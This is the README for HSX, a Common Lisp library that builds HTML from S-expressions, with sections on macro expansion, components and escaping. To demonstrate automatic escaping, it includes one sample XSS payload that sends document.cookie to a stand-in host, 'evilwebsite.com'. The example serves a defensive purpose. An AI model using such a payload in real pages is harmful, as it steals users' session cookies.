hsx/README.md
2025-03-28 15:27:12 +09:00

188 lines
3.8 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# HSX Hypertext S-expression
**HSX** is a lightweight and expressive HTML generation library for Common Lisp, inspired by JSX. It allows you to write HTML using native Lisp syntax via S-expressions.
> 🚧 **ALPHA NOTICE:**
> This library is still in early development. APIs may change.
> See [release notes](https://github.com/skyizwhite/hsx/releases) for details.
## ⚙️ How HSX Works
Every tag or component inside an `(hsx ...)` form is transformed into a Lisp expression of the form:
```lisp
(create-element type props children)
```
For example:
```lisp
(hsx
(article :class "container"
(h1 "Title")
(p "Paragraph")
(~share-button :service :x))
```
Is internally transformed (by macro expansion) into:
```lisp
(create-element :article '(:class "container")
(list
(create-element :h1 nil (list "Title"))
(create-element :p nil (list "Paragraph"))
(create-element #'~share-button '(:service :x) (list))))
```
This is made possible via the hsx macro, which detects HTML tags and components, then rewrites them using create-element. Tags are converted to keywords (e.g., div → :div), and custom components (starting with ~) are passed as functions.
This uniform representation allows rendering, manipulation, and analysis of the HTML structure in a Lisp-friendly way.
## 🚀 Quick Example
```lisp
(hsx
(div :id "main" :class "container"
(h1 "Hello, HSX!")
(p "This is a simple paragraph.")
(ul
(loop for i from 1 to 3 collect
(hsx (li (format nil "Item ~a" i)))))))
```
Generates:
```html
<div id="main" class="container">
<h1>Hello, HSX!</h1>
<p>This is a simple paragraph.</p>
<ul>
<li>Item 1</li>
<li>Item 2</li>
<li>Item 3</li>
</ul>
</div>
```
## 📝 Rendering
Use `render-to-string` to convert an HSX structure to a string of HTML:
```lisp
(render-to-string
(hsx ...))
```
## 🔐 Escaping Behavior
All elements automatically escape special characters in content to prevent XSS and HTML injection:
```lisp
(hsx
(div "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>"))
```
Outputs:
```html
<div>&lt;script&gt;fetch(&#x27;evilwebsite.com&#x27;, { method: &#x27;POST&#x27;, body: document.cookie })&lt;&#x2F;script&gt;</div>
```
Use the special tag `raw!` to inject trusted, unescaped HTML:
```lisp
(hsx
(article (raw! "HTML text here ..."))
```
## 🧩 Fragments
Use `<>` tag to group multiple sibling elements without wrapping them in a container tag:
```lisp
(hsx
(<>
(p "One")
(p "Two")))
```
Outputs:
```html
<p>One</p>
<p>Two</p>
```
Note: `raw!` tag is a fragment that disables HTML escaping for its children.
## 🧱 Components
Define reusable components using `defcomp` macro. Component names must start with `~`.
*Keyword-style*
```lisp
(defcomp ~card (&key title children)
(hsx
(div :class "card"
(h2 title)
children)))
```
*Property-list style*
```lisp
(defcomp ~card (&rest props)
(hsx
(div :class "card"
(h2 (getf props :title))
(getf props :children))))
```
### Usage
```lisp
(hsx
(~card :title "Hello"
(p "This is a card.")))
```
Outputs:
```html
<div class="card">
<h2>Hello</h2>
<p>This is a card.</p>
</div>
```
## 🧬 Logic and Interpolation
You can freely embed Lisp expressions, conditionals, and loops inside HSX forms:
```lisp
(hsx
(div
(if (> (random 10) 5)
(hsx (p "High!"))
(hsx (p "Low!")))))
```
Or loop:
```lisp
(hsx
(ul
(loop :for item :in todo-list :collect
(hsx (li item))))))
```
## 🏷️ Built-in Tags
All standard HTML5 tags (and a few extras like `<>`, `raw!`) are automatically defined and exported from the hsx package. You dont need to declare them manually.
## 📄 License
MIT License
• © 2024 Akira Tempaku
• © 2018 Bo Yao (original [flute](https://github.com/ailisp/flute) project)